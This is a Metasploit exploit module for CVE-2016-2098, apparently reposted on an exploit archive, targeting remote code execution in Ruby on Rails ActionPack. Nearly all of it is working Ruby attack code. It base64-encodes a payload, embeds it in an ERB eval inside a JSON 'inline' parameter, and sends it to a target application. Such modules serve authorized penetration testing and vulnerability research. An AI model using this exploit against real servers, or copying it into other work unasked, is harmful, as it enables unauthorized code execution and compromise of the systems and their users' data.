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Ruby On Rails ActionPack Inline ERB Code Execution

Posted on 09 July 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in the
inline request processor of the Ruby on Rails ActionPack component.
This vulnerability allows an attacker to process ERB to the inline
JSON processor, which is then rendered, permitting full RCE within
the runtime, without logging an error condition.
},
'Author' =>
[
'RageLtMan <rageltman[at]sempervictus>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2098' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DisclosureDate' => 'Mar 1 2016',
'DefaultOptions' => {
"PrependFork" => true
},
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
], self.class)

end

def json_request
code = Rex::Text.encode_base64(payload.encoded)
return {
datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
}.to_json
end

def exploit
print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'ctype' => 'application/json',
'headers' => {
'Accept' => 'application/json'
},
'data' => json_request
}, 25)
end
end

 

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